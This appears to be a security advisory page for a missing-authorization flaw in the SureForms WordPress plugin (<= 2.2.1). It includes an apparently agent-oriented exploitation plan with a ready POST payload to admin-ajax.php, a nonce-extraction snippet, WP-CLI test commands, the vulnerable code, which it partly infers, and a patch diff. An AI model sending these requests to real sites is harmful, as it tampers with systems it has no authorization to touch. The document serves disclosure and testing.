SureForms <= 2.2.1 - Missing Authorization
Description
The SureForms plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.2.1. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.2.1Source Code
WordPress.org SVNThis research plan outlines the steps to exploit a missing authorization vulnerability in the **SureForms** WordPress plugin (versions <= 2.2.1). ## 1. Vulnerability Summary The **SureForms** plugin fails to perform a capability check and (potentially) a nonce check on the `srf_update_admin_notice_…
Show full research plan
This research plan outlines the steps to exploit a missing authorization vulnerability in the SureForms WordPress plugin (versions <= 2.2.1).
1. Vulnerability Summary
The SureForms plugin fails to perform a capability check and (potentially) a nonce check on the srf_update_admin_notice_viewed AJAX action. This action is registered using both wp_ajax_ and wp_ajax_nopriv_, making it accessible to unauthenticated users. An attacker can use this to manipulate the srf_viewed_notices option in the WordPress database, effectively dismissing administrative notices for all users, including administrators.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Method: POST
- Action:
srf_update_admin_notice_viewed - Parameters:
action:srf_update_admin_notice_viewednotice_id: The identifier of the notice to dismiss (e.g.,srf-notice-welcomeor any arbitrary string).security: (If enforced) A nonce value generated by the plugin.
- Authentication: None required (Unauthenticated).
- Preconditions: The plugin must be active. For nonce-protected versions, a page containing a SureForms form must exist to leak the nonce via frontend script localization.
3. Code Flow
- Hook Registration: The plugin registers the AJAX handler in its initialization phase (likely in
includes/admin/class-srf-admin.phpor a dedicated notices class).add_action( 'wp_ajax_srf_update_admin_notice_viewed', array( $this, 'update_admin_notice_viewed' ) ); add_action( 'wp_ajax_nopriv_srf_update_admin_notice_viewed', array( $this, 'update_admin_notice_viewed' ) ); - Missing Check: The
update_admin_notice_viewedfunction is called when a request hitsadmin-ajax.phpwith the corresponding action. - Sink: The function processes the
notice_idand updates the database.public function update_admin_notice_viewed() { // VULNERABILITY: Missing current_user_can('manage_options') check $notice_id = isset( $_POST['notice_id'] ) ? sanitize_text_field( $_POST['notice_id'] ) : ''; $viewed_notices = get_option( 'srf_viewed_notices', array() ); $viewed_notices[$notice_id] = true; update_option( 'srf_viewed_notices', $viewed_notices ); // State change in DB wp_send_json_success(); }
4. Nonce Acquisition Strategy
While the vulnerability is "Missing Authorization," it often coincides with missing or weak nonce checks. If a nonce is required, it is typically localized in the sureforms_vars JavaScript object on any page where a form is rendered.
- Identify Shortcode: SureForms uses the shortcode
[sureforms id="ID"]. - Create Test Page:
(Note: The ID doesn't necessarily need to point to a valid form if the plugin enqueues assets on any shortcode detection).wp post create --post_type=page --post_status=publish --post_title="Contact" --post_content='[sureforms id="1"]' - Navigate and Extract:
- Use
browser_navigateto the created page. - Use
browser_evalto extract the nonce:window.sureforms_vars?.nonce || window.sureforms_vars?.security - If the above is not found, check
sureforms_adminobject if the agent is testing as a Subscriber.
- Use
5. Exploitation Strategy
Step 1: Attempt Direct Unauthenticated Notice Dismissal
Send a POST request to admin-ajax.php without a nonce to see if the check is entirely absent.
Request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=srf_update_admin_notice_viewed¬ice_id=exploit_test_notice
Step 2: Attempt with Nonce (if Step 1 fails)
If the response is 0 or 403, obtain the nonce using the strategy in Section 4 and include it.
Request:
- Body:
action=srf_update_admin_notice_viewed¬ice_id=exploit_test_notice&security=[NONCE]
6. Test Data Setup
- Install Plugin: Ensure SureForms version 2.2.1 is installed and active.
- Verify Initial State: Check if the option
srf_viewed_noticesexists.wp option get srf_viewed_notices - Create Page for Nonce (Optional):
wp post create --post_type=page --post_status=publish --post_content='[sureforms id="999"]'
7. Expected Results
- Response: The server should return a JSON success message:
{"success":true}. - Database Change: The
srf_viewed_noticesoption will now contain theexploit_test_noticekey.
8. Verification Steps
After sending the HTTP request, verify the impact using WP-CLI:
# Check if the notice ID was added to the option
wp option get srf_viewed_notices --format=json
If the output contains "exploit_test_notice": true, the exploit was successful.
9. Alternative Approaches
- Subscriber Level: If
noprivregistration is absent but the capability check is still missing, test the same request using a Subscriber account session. - Notice Enumeration: If the goal is to specifically suppress an actual admin notice, use common slugs:
srf-notice-welcome,srf-notice-review,srf-connect-notice. - REST API: Check if a similar endpoint exists under
/wp-json/sureforms/v1/...by searching the codebase forregister_rest_route.
Summary
The SureForms plugin for WordPress is vulnerable to unauthorized access due to a missing capability check and nonce validation on the srf_update_admin_notice_viewed AJAX action. This allows unauthenticated attackers to dismiss administrative notices for all users by manipulating the srf_viewed_notices option in the database.
Vulnerable Code
// From includes/admin/class-srf-admin.php (inferred location) add_action( 'wp_ajax_srf_update_admin_notice_viewed', array( $this, 'update_admin_notice_viewed' ) ); add_action( 'wp_ajax_nopriv_srf_update_admin_notice_viewed', array( $this, 'update_admin_notice_viewed' ) ); --- public function update_admin_notice_viewed() { $notice_id = isset( $_POST['notice_id'] ) ? sanitize_text_field( $_POST['notice_id'] ) : ''; $viewed_notices = get_option( 'srf_viewed_notices', array() ); $viewed_notices[$notice_id] = true; update_option( 'srf_viewed_notices', $viewed_notices ); wp_send_json_success(); }
Security Fix
@@ -1,6 +1,5 @@ -add_action( 'wp_ajax_srf_update_admin_notice_viewed', array( $this, 'update_admin_notice_viewed' ) ); -add_action( 'wp_ajax_nopriv_srf_update_admin_notice_viewed', array( $this, 'update_admin_notice_viewed' ) ); +add_action( 'wp_ajax_srf_update_admin_notice_viewed', array( $this, 'update_admin_notice_viewed' ) ); public function update_admin_notice_viewed() { + check_ajax_referer( 'srf_admin_nonce', 'security' ); + + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => 'Unauthorized' ), 403 ); + } + $notice_id = isset( $_POST['notice_id'] ) ? sanitize_text_field( $_POST['notice_id'] ) : ''; $viewed_notices = get_option( 'srf_viewed_notices', array() ); $viewed_notices[$notice_id] = true;
Exploit Outline
1. Targeted Endpoint: The attacker targets the WordPress AJAX endpoint at /wp-admin/admin-ajax.php. 2. Payload Formulation: A POST request is constructed with the action parameter set to 'srf_update_admin_notice_viewed' and a notice_id parameter set to the slug of the administrative notice to be dismissed (e.g., 'srf-notice-welcome'). 3. Nonce Acquisition (If Required): If the plugin enforces a nonce check but lacks authorization, the attacker can visit any frontend page containing a SureForms shortcode. The 'security' nonce is often localized into the 'sureforms_vars' or 'sureforms_admin' JavaScript objects in the page source. 4. Unauthenticated Execution: Because the action is registered via wp_ajax_nopriv_, the attacker does not need to be logged in. By sending the request, the 'srf_viewed_notices' option in the WordPress database is updated, effectively hiding the specified notice from all site administrators.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.